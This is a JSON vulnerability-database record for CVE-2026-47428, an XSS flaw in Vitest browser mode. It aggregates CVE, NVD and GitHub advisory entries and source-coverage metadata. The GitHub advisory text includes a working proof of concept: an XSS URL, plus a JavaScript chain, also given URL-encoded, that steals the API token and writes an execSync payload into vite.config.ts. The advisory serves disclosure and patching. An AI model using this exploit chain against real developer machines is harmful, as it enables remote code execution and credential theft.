{"id":"CVE-2026-47428","revision":null,"records":[{"revision":"780a746f39cf47c789168862e1b826e1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-47428","aliases":[],"title":"Vitest browser mode serves unsanitized otelCarrier query parameter as inline script","description":"Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.","state":0,"publishedAt":"2026-07-14T19:30:19.67+00:00","modifiedAt":"2026-07-15T13:20:14.275+00:00","affected":[{"ecosystem":"Vendor product","name":"vitest","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vitest-dev\",\n                    \"product\": \"vitest\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.0.17, < 4.1.6\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.0.0-beta.0, < 5.0.0-beta.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp","https://github.com/vitest-dev/vitest/pull/10283","https://github.com/vitest-dev/vitest/pull/10285","https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06","https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa","https://github.com/vitest-dev/vitest/releases/tag/v4.1.6","https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-47428","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-47428","identifiers":["CVE-2026-47428"]},"retained":false,"historicalAffected":[]},{"revision":"8f580f0295784cd5b4728aa7c6c5b90a","observedAt":"2026-10-25T12:17:26.301+00:00","statement":{"source":"nvd","id":"CVE-2026-47428","aliases":[],"title":"Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted br…","description":"Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.","state":0,"publishedAt":"2026-07-14T20:17:02.307+00:00","modifiedAt":"2026-10-24T21:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06","https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa","https://github.com/vitest-dev/vitest/pull/10283","https://github.com/vitest-dev/vitest/pull/10285","https://github.com/vitest-dev/vitest/releases/tag/v4.1.6","https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3","https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47428","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-79"],"productCriteria":[],"sourceDates":{"published":"2026-07-14T20:17:02.307","lastModified":"2026-10-24T21:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-47428","identifiers":["CVE-2026-47428"]},"retained":false,"historicalAffected":[]},{"revision":"22156bd376f34061aaa9cf28ddc7c6fd","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2h32-95rg-cppp","aliases":["CVE-2026-47428"],"title":"Vitest browser mode serves unsanitized otelCarrier query parameter as inline script","description":"## Summary\n\nVitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41\n\nThe same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.\n\n## Impact\n\nThis issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.\n\nIn the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node.\n\nThis is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.\n\n## Proof of Concept\n\n### XSS\n\nFor a concrete reproduction, start browser mode in watch mode using the official Lit example:\n\n```sh\npnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc\ncd vitest-poc\npnpm install\npnpm test\n```\n\nBy default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`.\n\nOpen the following URL:\n\n```text\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)\n```\n\nThe `otelCarrier` query value is inserted into the generated inline module script as JavaScript source:\n\n```js\notelCarrier: (alert(\"xss via otelCarrier\"),null),\n```\n\nLoading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.\n\n### RCE via config write\n\nA full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand(\"writeFile\", ...)` to modify the local `vite.config.ts`.\n\nThe PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.\n\nThis PoC imports `flatted` from a CDN to keep the payload compact.\n\n<details><summary>Example script and encoded URL</summary>\n\n```ts\n(setTimeout(async()=>{\n  const s = window.__vitest_browser_runner__\n  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')\n  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'\n  const q = 'type=orchestrator&rpcId=poc-' + Date.now()\n    + '&sessionId=' + encodeURIComponent(s.sessionId)\n    + '&projectName=' + encodeURIComponent(s.config.name || '')\n    + '&method=' + encodeURIComponent(s.method)\n    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')\n\n  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)\n  const pending = new Map()\n\n  function call(m, a = []) {\n    const i = crypto.randomUUID()\n    ws.send(stringify({ t: 'q', i, m, a }))\n    return new Promise((resolve, reject) => {\n      pending.set(i, { resolve, reject })\n    })\n  }\n\n  ws.onmessage = (event) => {\n    const message = parse(event.data)\n    const promise = pending.get(message.i)\n    if (!promise) {\n      return\n    }\n    pending.delete(message.i)\n    if (message.e) {\n      promise.reject(message.e)\n    }\n    else {\n      promise.resolve(message.r)\n    }\n  }\n\n  ws.onopen = async () => {\n    const configPath = 'vite.config.ts'\n    const original = await call('triggerCommand', [\n      s.sessionId,\n      'readFile',\n      configPath,\n      [configPath, 'utf-8'],\n    ])\n\n    const injected = `\nimport(\"node:child_process\").then(lib => {\n  lib.execSync('touch ./rce-poc')\n  console.log('RCE success')\n})\n`\n    await call('triggerCommand', [\n      s.sessionId,\n      'writeFile',\n      configPath,\n      [configPath, injected + original],\n    ])\n\n    alert('POC: vite.config.ts modified to trigger RCE on config reload')\n  }\n\n  ws.onerror = () => alert('POC: browser api websocket failed')\n},0),null)\n```\n\nThe following URL is the same script encoded as the `otelCarrier` query value:\n\n```txt\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)\n```\n\n</details>\n\n---","state":0,"publishedAt":"2026-06-01T14:12:18+00:00","modifiedAt":"2026-09-10T03:51:07.4551385+00:00","affected":[{"ecosystem":"npm","name":"@vitest/browser","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.17"},{"kind":"fixed","version":"4.1.6"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@vitest/browser","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0-beta.0"},{"kind":"fixed","version":"5.0.0-beta.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp","https://github.com/vitest-dev/vitest","https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41","https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48"],"sourceUrl":"https://github.com/advisories/GHSA-2h32-95rg-cppp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2h32-95rg-cppp","identifiers":["GHSA-2h32-95rg-cppp","CVE-2026-47428"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T23:35:40.1579758+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-26T23:35:40.1579758+00:00","lastSuccessAt":"2026-10-26T23:35:40.3040109+00:00","error":null,"lastVerifiedAt":"2026-10-26T23:35:40.3040118+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-3bf7196e32e776c741f2a25a322f304e4a0ccffc94e5ee1b2b39477207e0d312","complete":true,"records":414808,"lastAttemptAt":"2026-10-26T23:35:39.633691+00:00","lastSuccessAt":"2026-10-26T23:35:39.4790556+00:00","error":null,"lastVerifiedAt":"2026-10-26T23:35:39.633691+00:00","snapshotPublishedAt":"2026-10-26T23:20:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T23:36:08.7201967+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T23:35:40.1579758+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T23:35:40.1579758+00:00","lastSuccessAt":"2026-10-26T23:35:40.3048784+00:00","error":null,"lastVerifiedAt":"2026-10-26T23:35:40.3048788+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1ba6061a29124e19b1d3d5d18f0c93d7","complete":false,"records":13416,"lastAttemptAt":"2026-10-26T23:36:06.5216484+00:00","lastSuccessAt":"2026-10-26T23:36:06.509+00:00","error":null,"lastVerifiedAt":"2026-10-26T23:36:06.509+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13077,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T23:35:39.9463604+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-26T23:35:39.9463604+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T23:35:39.6792416+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-26T23:35:39.6792416+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-26T23:35:40.0527218+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-26T23:35:40.0527218+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2c2579bb03487537529e2b647fd2d9950cfc0fec1a9832dba33e322b8dcbe369","complete":true,"records":230812,"lastAttemptAt":"2026-10-26T23:35:39.7934308+00:00","lastSuccessAt":"2026-10-26T21:37:26.5810298+00:00","error":null,"lastVerifiedAt":"2026-10-26T23:35:39.7934308+00:00","snapshotPublishedAt":"2026-10-26T21:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}